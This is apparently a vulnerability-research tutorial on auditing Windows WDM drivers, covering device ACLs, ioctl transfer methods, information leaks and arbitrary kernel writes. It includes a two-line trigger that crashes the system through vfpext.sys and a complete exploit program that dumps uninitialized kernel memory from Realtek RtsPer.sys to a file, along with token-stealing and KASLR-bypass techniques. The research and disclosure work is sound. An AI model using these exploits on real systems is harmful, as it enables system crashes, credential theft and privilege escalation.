Know About WDM?
Windows Driver Model (WDM) is the oldest and still the most-used 
driver framework. Every driver is essentially a WDM driver; the newer 
framework Windows Driver Framework (WDF) encapsulates WDM, simplifies 
the development process and deals with WDM’s multiple technical 
difficulties. The primary thing we care about while inspecting WDM 
drivers is how we can communicate with them; almost every bug in drivers
 involves some communication from an unprivileged user to the driver 
itself.
We start at the beginning, which in our case, is the entry point of our driver named “testy”:
DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)
{
  UNICODE_STRING DeviceName, SymbolicLink,sddlString;
  PDEVICE_OBJECT deviceObject;
  RtlInitUnicodeString(&DeviceName, L"\\Device\\testydrv");
  RtlInitUnicodeString(&SymbolicLink, L"\\DosDevices\\testydrv");
  RtlInitUnicodeString(&sddlString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");
  UNREFERENCED_PARAMETER(RegistryPath);
  //Create a device
  IoCreateDevice(DriverObject, 65535, &DeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &deviceObject);
  //IoCreateDeviceSecure(DriverObject, , &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &sddlString, NULL, &deviceObject);
  
  //Create a symbolic so the user can access the device
  IoCreateSymbolicLink(&SymbolicLink, &DeviceName);
  //Populating Driver's object dispatch table
  DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = TestyDispatchIoctl;
  DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = TestyInternalDispatchIoctl;
  DriverObject->MajorFunction[IRP_MJ_CREATE] = TestyDispatchCreate;
  DriverObject->MajorFunction[IRP_MJ_CLOSE] = TestyDispatchClose;
  DriverObject->MajorFunction[IRP_MJ_READ] = TestyDispatchRead;
  DriverObject->MajorFunction[IRP_MJ_WRITE] = TestyDispatchWrite;
  DriverObject->MajorFunction[IRP_MJ_CLEANUP] = TestyDispatchCleanup;
  DriverObject->DriverUnload = TestyUnloadDriver;
  return STATUS_SUCCESS;
}
This code is an ordinary skeleton of the DriverEntry function that every WDM driver has. The first parameter is the DriverObject structure pointer used in device creation and dispatch routine initialization. Next, the driver has the MajorFunction member,
 which is a function pointer array used to assign dispatch routines for 
different events. Additionally, we have the critical device creation 
routines that we cover in the next section.
Device Creation and Initialization
As we said, the driver starts with creating a device by calling IoCreateDevice; this will create a DEVICE_OBJECT in
 the Object Manager. In Windows, a device object represents a logical, 
virtual or physical device for which a driver handles I/O requests. All 
of that sounds good, but it is not enough if we want it to communicate 
from a regular user standpoint; for this, we call IoCreateSymbolicLink that
 will create a DoS device name in the Object Manager that enables the 
user to communicate with the driver via the device. Some devices, 
however, don’t have normal names; they have autogenerated names (done 
in PDOs).
 They might  look odd to the inexperienced bug hunter, so if you see 
them at first in your favorite device, view software and see the 8-hex 
in the device name column. These devices can interact like every other 
named device.
The most important things to note in the device creation routine are 
if the programmer assigned an ACL to the device and the value of DeviceCharacteristics.
Unfortunately, the IoCreateDevice method doesn’t allow the 
programmer to specify any ACL whatsoever, which is not good. As a 
result, the developer must define an ACL in the registry or the ini file
 of the driver. If they fail to do so, any user can access the device. 
Using the IoCreateDeviceSecure method, however, would mitigate that.
Besides that, we need to look at the fifth argument, which is DeviceCharacteristics . If the value of DeviceCharacteristics isn’t ORed with 0x00000100, FILE_DEVICE_SECURE_OPEN,
 here we likely face a security vulnerability (unless we talk about file
 system drivers    or any that support name structure). The reason 
behind this is the way Windows treats devices; every device has its very
 own namespace. Names in the device’s namespace are paths that begin 
with the device’s name. For a device named \Device\DeviceName, its namespace consists of any name of the form “\Device\DeviceName\anyfile.”
A call IoCreateDevice without the FILE_DEVICE_SECURE_OPEN flag
 as in figure 1 means that the device ACL is not applied to open file 
requests of files inside the device namespace. In other words, even if 
we specify a strong ACL when creating the device via IoCreateDeviceSecure or
 other means, then the ACL is not applied to the open file requests. As a
 result, we don’t really get what we wanted — a call to CreateFile with 
\Device\testydrv would fail, but a call with “\device\testydrv\anyfile” 
will succeed because the IoManager doesn’t apply the device ACL to the 
create request (as it assumes it is a file system driver). For starters,
 it is considered to be a bug that is worthy of a fix. Also, this will 
lead non-admin users to try to read/write into the device, perform DeviceIoControl requests and more, which normally is a thing you don’t want non-admin users doing.
You Better User Protection
We can eliminate the threats of unwanted users from straightforwardly interacting with our devices, calling IoCreateDeviceSecure (or WdmlibIoCreateDeviceSecure;
 it’s the same function) with a Security Descriptor that prevents 
non-admin users from opening a handle to the device and by using the FILE_DEVICE_SECURE_OPEN value
 in the creation routine. This will also save us the hassle of declaring
 the device’s permissions in the registry, as we would need in IoCreateDevice.
RtlInitUnicodeString(&sddlString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)"); 
IoCreateDeviceSecure(DriverObject, 65535, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &sddlString, NULL, &deviceObject);
From a bug hunting standpoint, we should enumerate every possible 
device in the system, followed by trying to open it with GENERIC_READ | 
GENERIC_WRITE, which allows us to filter out devices we can’t 
communicate with. We will revisit this in our  second part.
Dispatch Methods
Creating devices is nice and all, but, of course, it isn’t enough for you to communicate with the driver. For that you need IRPs. The driver receives IRPs,
 I/O Request Packets on behalf of the IoManager for specific triggers. 
For instance, if an application tries to open a handle to a device, the 
IoManager will invoke the relevant dispatch method assigned to the 
driver object. Thus, it allows every driver to support multiple 
different MajorFunctions for every device it creates. There are around 30 different MajorFunction. If you count the deprecated IRP_MJ_PNP_POWER,
 each represents a different event. We will focus on only two of these 
MajorFunction methods and add a short description about the rest, which 
are the places we should look after while bug hunting.
  DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = TestyDispatchIoctl;
  DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = TestyInternalDispatchIoctl;
  DriverObject->MajorFunction[IRP_MJ_CREATE] = TestyDispatchCreate;
  sDriverObject->MajorFunction[IRP_MJ_CLOSE] = TestyDispatchClose;
  DriverObject->MajorFunction[IRP_MJ_READ] = TestyDispatchRead;
  DriverObject->MajorFunction[IRP_MJ_WRITE] = TestyDispatchWrite;
  DriverObject->MajorFunction[IRP_MJ_CLEANUP] = TestyDispatchCleanup;
Before we dive into the juiciest target, which is the IRP_MJ_DEVICE_CONTROL, we will start with IRP_MJ_CREATE. Every kernel- mode driver must handle IRP_MJ_CREATE in the driver dispatch callback function. The driver must implement IRP_MJ_CREATE because without that, you could not open a handle to the device or a file object.
As you probably guessed, the IRP_MJ_CREATE dispatch routine is invoked when you call NtCreateFile or ZwCreateFile. On most occasions, it will be an empty stub and return a handle with the asked DesiredAccess based on the device’s ACL.
NTSTATUS TestyDispatchCreate(PDEVICE_OBJECT DeviceObject, PIRP irp){
  irp->IoStatus.Status = 0;
  irp->IoStatus.Information = 0;
  IofCompleteRequest(irp, 0);
  return 0;
}
However, in some cases, more complex code is involved — even if you 
met the device’s ACL criteria, you might get a status error like STATUS_INVALID_PARAMETER because you use incorrect parameters in the call to NtCreateFile.
Unfortunately, it indicates you can’t open a device blindly and hope to communicate with the driver via DeviceIoControl; you first need  to understand its expected parameters. Usually, the DispatchCreate expects some ExtendedAttributes (can’t
 use regular CreateFile for that) or specific file name (besides the 
device name) alongside some other quarks and gluons. Therefore, we must 
visit the DispatchCreate method 
Shows
 a check to see if there is an extended attribute named “StorVsp-v2” and
 that the length of the value field is 0x19 bytes long. Thus, the driver
 is StorVsp.sys
Besides opening a handle, you can also look for vulnerabilities in the DispatchCreate.
 The more complex the function becomes, the higher the chances of memory
 allocation and deallocation bugs, especially because the DispatchCreate is not often inspected.
The general approach we take while looking for bugs in drivers is:
- Enumerate every device object
- Try to open it with the most permissive DesiredAccess
- In case of failure, check the status code; if it is not STATUS_ACCESS_DENIED, you can probably still open the handle by doing some manual work and changing some of the parameters
By following this simple algorithm, we will have a list of around 70 
devices that we can talk to from a non-admin standpoint. Of course, this
 number will vary across different Windows machines, since OEM drivers 
and many types of software also install drivers.
Control the Device with ioctls
While rarely giving you full control over the device/driver, ioctls 
is de facto the way an application should communicate with a driver. 
There are two ioctl dispatch routines a driver can create:
// User-Mode application DeviceIoControl, NtDeviceIoControlFile
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = TestyDispatchIoctl;
// Kernel-Mode driver ZwDeviceIoControlFile or the bad IoBuildDeviceIoControlRequest
DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = TestyInternalDispatchIoctl;
The only method that matters is TestyDispatchIoctl, since we can’t initiate a call to either IoBuildDeviceIoControlRequest or IIoAllocateIrp with arbitrary parameters, which are the function that trigger the IRP_MJ_INTERNAL_DEVICE_CONTROL major function. If so, please tell me because the internal dispatch method seldom goes through proper testing.
As with any dispatch method of the DriverObject, it receives two parameters from the IoManager.
NTSTATUS TestyDispatchIoctl(PDEVICE_OBJECT DeviceObject, PIRP IRP)
The first is the device object we performed the CreateFile operation on, and the second is a pointer to IRP. The IRP encapsulates
 the user data and many other things we don’t really care about from a 
vulnerability research perspective. The main thing we care about here is
 which parameters are sent from user mode. If we take a look at the 
signature of NtDeviceIoControlFile, we can guess which fields we care about while looking for bugs in drivers:
BOOL DeviceIoControl(
  HANDLE       hDevice,
  DWORD        dwIoControlCode,
  LPVOID       lpInBuffer,
  DWORD        nInBufferSize,
  LPVOID       lpOutBuffer,
  DWORD        nOutBufferSize,
  LPDWORD      lpBytesReturned,
  LPOVERLAPPED lpOverlapped
);
The main suspects in this method are the input/output buffers, their 
lengths and the Ioctl code itself. We start with the Ioctl code, which 
is a 32-bit number that acts as a specifier; it describes how the 
buffers and the lengths are used/copied to the kernel, the needed DesiredAccess (when you opened a handle to the device) and a function indicator. Let’s see an example:
an image of the FileTest.exe tool, showing the bitfields of the 32 Ioctl number
We can see the ioctl code is 0x1000, which translates to:
- DeviceType: FileDevice_0 → It’s not relevant for us.
- Function: 0 → It’s not relevant for us.
- Method: METHOD_NEITHER → It’s relevant for us, as it describes how IoManager transfers this data to the kernel; more about it shortly
- Access: FILE_ANY_ACCESS →
 It’s relevant for us, as it defines the desired access you need to have
 over the handle. If you don’t have the correct access, then the 
IoManager won’t allow the call to take place and return you 
AccessDenied. There are four different values:- FILE_ANY_ACCESS: You always have a handle to the device, regardless of the DesiredAccess argument.
- FILE_READ_DATA: You requested a handle with GENERIC_READ and got a valid handle
- FILE_WRITE_DATA: You requested a handle with GENERIC_WRITE and got a valid handle FILE_READ_DATA | FILE_WRITE_DATA: Self-explanatory; you need both rights.
 
Running this DeviceIoControl request on the handle of \Device\VfpExt would cause a BSoD, regardless of your privilege level;   we will see why after understanding the field Method.
Method/TransferType, Mother of All Evils
Method/TransferType, Mother of All Evils. This sounds bombastic at 
first, but unfortunately, it is indeed the case. The method of transport
 type, the two least significant    bits in the ioctl 32 bit-number, 
indicates the way parameters (buffers and lengths) are referenced in the
 kernel by the IoManager. As with the Access field, there are four 
different options:
- (1) METHOD_NEITHER, both bits are on: The IoManager is 
lazy and does no checks on the buffers and their lengths. The  buffers 
are not copied to the driver and reside in user-mode. Therefore, the 
user can manipulate the buffers’ lengths and free/allocate their pages 
at wish, causing many bad things — system crashes and privilege 
escalation — unless the buffers are probed properly. If you see a driver that does not probe the buffers and uses METHOD_NEITHER, it is safe to assume you have a major security hole in front of you.
- (2) METHOD_BUFFERED,
 none of the bits are on: The IoManager copies the input/output buffers 
and their length to the kernel, making it vastly more secure as the user
 cannot page out the buffers or change their content and lengths on a 
whim. After that, the input/output buffer pointer is assigned to the IRP.
- (3) METHOD_IN_DIRECT and (4) METHOD_OUT_DIRECT one of the two bits are on: These two are quite similar; the IoManager  allocates the input buffer as in METHOD_BUFFERED.
 For the output buffer, the IoManager probes the buffer and checks  if 
the virtual address is writeable\readable in the current access mode. 
Then, it locks the memory pages and passes a pointer to the IRP.
Let’s see how a driver might access the user mode buffers and look at
 a quick vulnerability that demonstrates the issue of not doing proper 
security checks in drivers.
METHOD_NEITHER: Ioctl code translated to binary ends with 11
Input buffer: irp->Parameters.DeviceIoControl.Type3InputBuffer                         
Output buffer: irp->UserBuffer                         
                
METHOD_DIRECT: Ioctl code translated to binary ends with either 01 or 11
Input buffer: irp->AssociatedIrp.SystemBuffer
Output buffer: irp->MdlAddress  
METHOD_BUFFERED: Ioctl code translated to binary ends with 00
Input & Output buffer IRP->AssociatedIrp.SystemBuffer
As a driver can support multiple ioctl codes normally, it has a large
 switch case for every different ioctl code, affecting where the buffers
 are stored in memory. In the next section, we will see what happens if 
we don’t notice.
Blue Screen Goes Boom
In short, our first example of a real bug lies in the Microsoft Azure VFP Extension or vfpext.sys.
 The story begins in the driver’s ioctl dispatch function. After some 
variable initialization, it calls a method to validate user-mode 
parameters followed by some inner logic.  We care not.
NTSTATUS __fastcall SxStartDeviceIoControl(PIRP IRP, _WORD *a2, _WORD *a3, _QWORD *a4, int *a5, __int64 a6, __int64 a7)
{
  _IO_STACK_LOCATION *CurrentStackLocation; // rdi
  bool IsInputBufferBelowLimit; // cf
  NTSTATUS result; // eax
  BYTE *SystemBuffer; // rbx
  int v14; // ecx
  __int128 v15; // [rsp+20h] [rbp-28h] BYREF
  __int128 v16; // [rsp+30h] [rbp-18h] BYREF
  CurrentStackLocation = IRP->Tail.Overlay.CurrentStackLocation;
  IRP->IoStatus.Information = 0i64;
  IsInputBufferBelowLimit = CurrentStackLocation->Parameters.Create.Options < 0x218; v15 = 0i64; v16 = 0i64; if ( IsInputBufferBelowLimit ) return -1073741811; SystemBuffer = (BYTE *)IRP->AssociatedIrp.SystemBuffer;
  result = SxInitUnicodeStringSafe((__int64)&v16, (const wchar_t *)SystemBuffer + 8, 0x100u);
  if ( result >= 0 )
  {
    result = SxInitUnicodeStringSafe((__int64)&v15, (const wchar_t *)SystemBuffer + 0x88, 0x100u);
    if ( result >= 0 )
    {
      *a2 = *((_WORD *)SystemBuffer + 265);
      *a3 = *((_WORD *)SystemBuffer + 264);
      v14 = CurrentStackLocation->Parameters.Create.Options - 0x218;
      *a4 = SystemBuffer + 536;
      *a5 = v14;
      return SxFindContextByName(&v16, &v15, (PVOID **)a6, (_QWORD *)a7);
    }
  }
All we really have here is a simple code that does the following:
- Get a pointer to the CurrentStackLocation from the macro IoGetCurrentIrpStackLocation (IRP))
- Verify that buffer length exceeds 0x218
- Create some Unicode strings in a safe way
- Do a look-up operation by calling SxFindContextByName, which we don’t care about
The problem is that in no place does the driver check what the given ioctl IRP->AssociatedIrp is. For example, SystemBuffer is a valid address; it assumes the address of the buffer is valid.
However, looking back at Figure 4, we can assume the driver expects to get an ioctl code with TransferType of either
METHOD_BUFFER or METHOD_IN_DIRECT or METHOD_OUT_DIRECT, as it reads the input buffer from IRP->AssociatedIrp.SystemBuffer.
But, if it is METHOD_NEITHER, then IRP->AssociatedIrp.SystemBuffer means nothing to the IoManager, and it sets it set to zero because it populates IRP->Parameters.DeviceIoControl.Type3InputBuffer instead.
Next, there is a call to SxInitUnicodeStringSafe , which I think is supposed to be a safer version of the kernelic method RtlInitUnicodeString; the second parameter is the SystemBuffer+8 that is the source string.
NTSTATUS __fastcall SxInitUnicodeStringSafe(__int64 Dest, const wchar_t *SystemBuffer, unsigned __int16 a3)
{
  __int64 v5; // r11
  NTSTATUS result; // eax
  size_t v7; // [rsp+38h] [rbp+10h] BYREF
  v7 = 0i64;
  v5 = Dest;
  if ( SystemBuffer )
  {
    result = RtlStringCbLengthW(SystemBuffer, a3, &v7);
    if ( !result )
    {
      *(_WORD *)v5 = v7;
      result = 0;
      *(_WORD *)(v5 + 2) = a3;
      *(_QWORD *)(v5 + 8) = SystemBuffer;
      return result;
    }
  }
  else
  {
    result = 0;
  }
  *(_DWORD *)v5 = 0;
  *(_QWORD *)(v5 + 8) = 0i64;
  return result;
}
SxInitUnicodeStringSafe function decompiled by Ida Pro, receives SystemBuffer, which can point to an invalid memory
So, the address of SystemBuffer address will be 0x10 = (0x0+sizeof(wchar_t *)+8). Hence, on the call to RtlStringCbLengthW,
 which as the name states, calculates the length, will use the system 
buffer that points to an invalid address. It contains the code:
for ( i = length; i; --i )
    {
      if ( !*SystemBuffer )
        break;
      ++SystemBuffer;
    }
Here the pointer dereference takes place
When the *SystemBuffer dereferencing happens, you dereferenced an invalid address, and the kernel is not forgiving about the null pointer.
just a blue screen, triggered by the vulnerability
This bug check only requires two lines of code to trigger:
HANDLE hDevice = CreateFile (DEVICE_NAME, NULL, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DeviceIoControl(hDevice, 3, NULL, 0x512, NULL, 0x512, NULL, NULL);
In this case, our bug is not exploitable, except by a DoS from a 
limited user. This bug can also be triggered by a restricted user and in
 an application sandbox, as well because there is no protection over the
 device whatsoever. Hence, everyone can get a handle and BSoD. To this 
day, this vulnerability has not been patched; MSRC response was, “We 
have completed our investigation and determined that  this report is a 
moderate severity denial of service vulnerability, which unfortunately 
means that it does not meet our bar for servicing  in a security update,
 and I will be closing this case.” Microsoft’s answer is quite amusing, 
as it is not just a regular DoS but a system DoS. From a CVSS 
standpoint, it should be 
7.3: https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H .
 And besides that, the fix is pretty simple; check the ioctl code before
 using it blindly, which will lead to correct usage of IRP‘s buffers.
Leak Me Some Memory
After having fun with Denial-of-Service attacks, we should proceed to
 a special, stealthy vulnerability class. Information leakage is the 
disclosure of kernelic memory to the user-mode. It doesn’t trigger a bug
 check or any exception, so it is quite difficult to find during the 
regular pipeline of driver development. You also can’t find it via 
driver verifier, in contrast to regular memory pool bugs.
Since Windows Vista, Microsoft introduced mitigation called KASLR, 
making Windows kernel exploitation very challenging. KASLR is the 
kernelic ASLR, which randomizes drivers, modules, kernelic objects base 
address on boot. By doing such, you couldn’t abuse arbitrary write 
primitive as you would in the old days. Back then, you could find an 
address that would be called by the kernel like HalDispatchTable,
 followed by placement of a malicious shellcode that would do token 
stealing that could, for instance, be triggered by a user-mode process. 
Thus, having arbitrary write was enough for code execution, or you could
 cancel SMEP for the record.
Nowadays, when the addresses are randomized, one does not know where to assign the shellcode, as the HalDispatchTable is randomized with each boot.
Exploit writers got smarter and pretty quickly understood that you can call NtQuerySystemInformation or EnumDeviceDrivers to
 get the base address of ntoskrnl. From that, we bypass KASLR, making 
arbitrary write enough for LPE. But, of course, one can call these APIs 
only if the controlled process is of medium integrity, which most processes are; browsers are not. Besides that, overwriting the HalDisptachTable with PageEntry corruption is null and void because of new mitigations such as HVCI, which are still  not the default on most Windows machines.
Alternatively, one might be able to read data directly from the System process. For example, one might read the SAM file,
 which is fully loaded into memory. Now, suppose you can extract it from
 memory. In that case, you can probably crack the hash and find the 
administrator password, allowing you to achieve full privilege 
escalation stealthily. Since you don’t really touch the disk, no anti- 
virus will be triggered.
So what does an info leak look like? It is mostly in the form of 
getting a kernel pointer of some sensitive kernelic object, but it can 
 also look like disclosing uninitialized kernel memory, like in RtsPer.sys Realtek driver:
DisptachIoctlFDO (PDEVICE_OBJECT Device_Object, IRP *IRP)
{
case 0x2D2324u:
      NTStatus2 = rts_ctrl_dump_paras_string(Device_Object, IRP);
...
  __int64 __fastcall rts_ctrl_dump_mem_log(PDEVICE_OBJECT Device_Object, PIRP irp)
  {
   _IO_STACK_LOCATION *CurrentStackLocation; // rbx
    PVOID Device_Extension; // rbp
    BYTE SystemBuffer; // si
    __int64 InputBufferLength; // r9
    ULONG OutputBufferLength; // [rsp+50h] [rbp+8h] BYREF
  
    CurrentStackLocation = irp->Tail.Overlay.CurrentStackLocation;
    Device_Extension = Device_Object->DeviceExtension;
    irp->IoStatus.Information = 0i64;
    SystemBuffer = (BYTE *)irp->AssociatedIrp.SystemBuffer;
    InputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;
    OutputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
    if ( OutputBufferLength >= 0x107C0 && *(_QWORD *)&SystemBuffer )
    {
        rts_dump_paras_as_string((__int64)Device_Extension, *(_BYTE **)&SystemBuffer, &OutputBufferLength);// Read&Write memory, disable PCIs
        IRP->IoStatus.Information = OutputBufferLength;       
        return 0i64;  
     }
    else
    {
       IRP->IoStatus.Information = 0x107C0i64; 
       return 0x80000005i64;
    }
  }
}
rts_ctrl_dump_mem_log contains a serious information leakage error
At first glance, the code provided here seems solid; the driver uses METHOD_BUFFERED (because
 it ends with 00) for transferring data, so user data can’t make 
page-out its buffers; the buffer lengths are to be trusted (see Figure 
11 and above).However, even when using METHOD_BUFFERED, it doesn’t make the code error free; it might lead to a false sense of security.
The easiest way to look for information leakage vulnerabilities is by
 looking at which data is returned and its length. Since we are dealing 
with METHOD_BUFFERED, the returned data is via SystemBuffer, and IRP->IoStatus.Information specifies
 the size (not only for this transfer type). The troubling part is that 
the IoManager doesn’t initialize the System buffer beyond the copy of 
the input buffer; in other words, if OutputBufferLength > InputBufferLength, the remainder of the SystemBuffer is
 uninitialized data. Thus, it  is the job of the driver writer to 
initialize the system buffer and return the correct length of it.
In our case, Figure16, the SystemBuffer, is not being 
initialized with zeros. We have no checks regarding the input/output 
buffer lengths, which we have full control over. Also, by looking at the
 else block, we can inspect a faulty logic:
IRP->IoStatus.Information = 0x107C0i64;
incorrect buffer size assignment
It turns out that by entering the else block, you get back from the 
kernel 0x107c0 bytes length of kernel data. To be more precise, the 
IoManager copied the delta between the OutputBufferLength and the 
InputBufferLength:
OutBufferLength = 0x107c0, InputBufferLength = 1
Therefore, we get back 0x107c0, around 64k of uninitialized data from
 the memory space of the System process, allowing you to read the 
content of the SAM file, find the system’s kernel base address 
and much more. Moreover, you can trigger this behavior as  many times as
 you wish, since it does not raise exceptions.
The exploit code is pretty trivial; the only concern we might have is
 finding the device name, as it is an autogenerated number (but you can 
brute-force it as there are only around 0x200 options and similar to how
 it is shown in Figure 2. Our exploit code consists of  the following:
- Open a handle to the device that RtsPer.sys exposes
- Allocate a buffer in the size of 0x107c0
- Call DeviceIoControl
- Write kernel data to a file
#include 
#include 
//device name would very so if you want to execute this code I would use DeviceTree
// made by OSR and look for the device name under RtsPer.sys
#define DEVICE_NAME L"\\\\.\\GlobalRoot\\Device\\00000066"
int main(int argc, TCHAR* argv)
{
  LPVOID inputBuffer;
  LPVOID outputBuffer;
  HANDLE hDevice;
  DWORD dwBytesReturned = 0;
  DWORD dwNtStatus = 0;
  DWORD dwFunctionCode = 0x2D2324;
  DWORD dwSize = 0x107C0;
  hDevice = CreateFile(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, 0, NULL);
  
  if (hDevice == INVALID_HANDLE_VALUE)
  {
    std::cout << "Error opeining the device, it's autogenerated after all, try to look for the name again" << std::endl;
    exit(1);
  }
  std::cout << "Opened a handle to the device" << std::endl;
  outputBuffer = malloc(dwSize);
  inputBuffer= malloc(dwSize);
  HANDLE hFile = CreateFile(L"a.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  //Read as many as you like :)
  for(DWORD i=0; i < 1000000; i++)
  {
    memset(outputBuffer, 0x00, 0x107C0);
    memset(inputBuffer, 0x00, 0x107C0);
    dwNtStatus = DeviceIoControl(hDevice, dwFunctionCode, inputBuffer, 1, outputBuffer, 2, &dwBytesReturned , NULL);
    if (dwBytesReturned || dwNtStatus )
      WriteFile(hFile, outputBuffer, dwBytesReturned , &dwNtStatus , NULL);
   dwNtStatus = 0;
   dwBytesReturned = 0;
  }   
  CloseHandle(hDevice); 
  CloseHandle(hFile); 
  free(inputBuffer);
  free(outputBuffer);
  return 0;
}
A short code to abuse the info leak in RtsPer.sys
This is only one of the many vulnerabilities we discovered in this driver that RealTek recently patched.
As you look at this, it seems that these vulnerabilities are easy to 
detect and relatively easy to fix — all you need to do is to change the IRP->IoStatus.Information
 to zero in the else block. Also, you might prevent all of these bugs by
 altering the device’s permissions, allowing only admin users and above 
to interact with it. We got CVE-2021-40328 and CVE-2021-40332 for the bugs in this driver.
The third type of bug we would take a look at would lead to full 
privilege escalation unless it is executed from a low-integrity process .
 A better and often more useful bug to find in the kernel is arbitrary 
write. This primitive allows you to write anywhere in the kernel, which 
presumably would let you overwrite your access token.
If you don’t recall or are new to Windows OS, every process has a kernel counterpart object called an EPROCESS; every EPROCESS object
 has an access token representing its security context. The System 
process is de facto the kernel and naturally has the most powerful 
access token in the operating system. As every EPROCESS resides in the kernel space, we can’t change the access token of the EPROCESS at
 will; we must do it from the kernel itself. But suppose we have an 
arbitrary write primitive? In that case, we can change any process’s 
access token and replace it (kidnapping was the original term) with the 
System’s process access token. This technique is known as a data-only 
attack. In contrast to memory corruption techniques, we don’t corrupt 
any page pool entries, which are susceptible to new mitigations such as 
kCFG/HVCI/HyperGuard.
Assumptions Are Everything in Bug Hunting
Finding an arbitrary write vulnerability is great but not always 
sufficient for full local-privilege escalation. As in anything in life, 
it is based on your assumptions;
If HVCI is on:
- Regardless of your integrity level, arbitrary write in the 
kernel is not enough for LPE; you also need a read primitive to enable 
the right permissions in your token.
If HVCI is off:
- Integrity level is Medium (most common); one can invoke EnumDeviceDrivers and NtQuerySystemInformation to get the base address of the kernel, which should allow you with some page entry corruption to overwrite the HalDisptachTable/SMEP. That would be enough for LPE.
- Integrity
 level is low or untrusted (mostly browsers) — you cannot call the APIs 
mentioned above; therefore, no kernel base address for you. Must have an
 additional primitive for LPE.
What does an arbitrary write vulnerability look like? Usually, it 
involves a dereference of memory and copy operation from a controlled 
buffer, and it can come in many flavors, from bad memcpy/memmove to just arbitrary pointer dereference. Let’s see a   few of the more popular ones:
//the rsp+28h holds the input buffer
mov     rax, [rsp+28h+var_4] //destination address
mov     rcx, [rsp+28h+var_8] //source source
mov     rcx, [rcx]
mov     [rax], rcx
a vanilla arbitrary write example found in a driver we can’t comment on
Assuming our driver uses METHOD_NEITHER as the transfer type
 and we see the input or output buffer loaded into a register, this is 
an arbitrary pointer dereference. In here, both registers RAX and RCX are
 pointing to user-mode buffer. Of course, you have full control over 
their content, and you have prior knowledge of where they are located in
 memory because you have created them. Since we have full control over 
the registers, we can write to the memory address pointed by RAX ,a shellcode address pointed by RCX. In other words, we have a write-what-where type of vulnerability or arbitrary write.
Our mindset should be if we have METHOD_NEITHER transfer
 type, when the buffers are being used, and in which way. A pattern as 
such we have in Figure 19 is a bit rare but still pops from time to 
time.
Pure Evil Functions
We can’t talk about arbitrary write vulnerabilities without 
mentioning one key function that is often the source of it: incorrect 
usage of either memcpy routine. The memcpy function or the macro that 
driver developers use, RtlCopyMemory,
 is unsafe by design. It does not deal with write over bounds or memory 
overlap; the source or destination is on the same memory. There is a 
function that deals with memory overlap, which is memmove or the macro RtlMoveMemory.
 That still doesn’t solve the problem of out-of-bounds write. In 
addition, every  incorrect usage of one of its arguments would likely 
impose a bug. Please take a look at J00ru’s excellent write-up about this topic, which demonstrates the subtleties in using move/copy functions.
Let’s examine an easy-to-see bug in a driver that shall be nameless:
faulty driver logic, looks bad
The decompiled code shown here is a bit misleading as Ida, which 
usually makes our lives a lot easier and makes multiple mistakes in 
distinguishing between structure members of IO_STACK_LOCATION in
 the case they are unions. That leads to some confusion at first glance 
for us. Let’s just ignore the bug that the ioctl 0x26DC03 presents, 
incorrect usage with ProbeForRead,
 without even using the buffer. Luckily, everyone who is familiar with 
some kernel internals can see that things look quite odd:
// This is the input buffer length of method Buffered, should be
// CurrentIrpStackLocation->Parameters.DeviceIoControl.InputBufferLength
Length = CurrentIrpStackLocation->Parameters.Create.Options
// This has nothing to do with byte offset, it is the ioctl code, should be
// CurrentIrpStackLocation->Parameters.DeviceIoControl.IoControlCode
LowPart = CurrentIrpStackLocation->Parameters.Read.ByteOffset.LowPart
// v6 is union, {_IRP *MasterIrp;int IrpCount;void *SystemBuffer;}, because we are
// working with buffers, the driver of course users *SystemBuffer which is a structure in our case
v6.MasterIrp = (_IRP *)irp->AssociatedIrp
// This is a length field because it used in memmove
Length_4 = (unsigned int)v6.MasterIrp->MdlAddress
// First two arguments are buffers, destination and source,
// they are two fields in the structure indicated by SystemBuffer
memmove(*(void **)v7.MasterIrp, *(const void **)&v7.MasterIrp->Flags, Length_4a);
correcting the variable names and types
Classic Awful Bugs
To make it look better, we press ALT-Y to choose the proper field of the correct union member of the IO_STACK_LOCATION; let’s see what it looks like:
how ida should represent the decompile output of the dispatch function
After the changes, we can see the decompiled output looks like plain 
C. We have a few calls to memmove, which is the first thing I would 
recommend doing when looking at a dispatch function. It seems the SystemBuffer is
 a structure consisting of source, size and destination fields, and they
 are supplied blindly to memmove method, what I call security at its 
best. These are the best/worst, depending on the perspectives you can 
get.
We can see we have three calls to memmove; ioctl 0x26DC04 presents a 
write everywhere of arbitrary content in the kernel. In contrast, ioctl 
0x26FC08 allows to read from the kernel as it would later be assigned to
 the SystemBuffer (not in Figure 22) and returned to the user. 
All in all, this driver presents read/write everything functionality, 
which allows attackers to escalate into a privileged account by the 
system token. Of course, HVCI is not relevant in this case. The only 
saving grace we have here is the fact this driver is not accessible from
 normal user privilege levels, only from admin and above. Therefore, it 
limits the usefulness for escalation purposes. However, malware might 
still find this driver helpful. since it is a signed driver with 
flexible kernelic primitive. That is a great reason not to disclose the 
driver name in public.
Fixing this driver means rewriting the entire logic of the dispatch 
routine. Instead of doing that, the vendor changed the ACL of the device
 to prevent non-admin users from messing with it, and by doing so, it is
 no longer a security boundary. So no need to fix it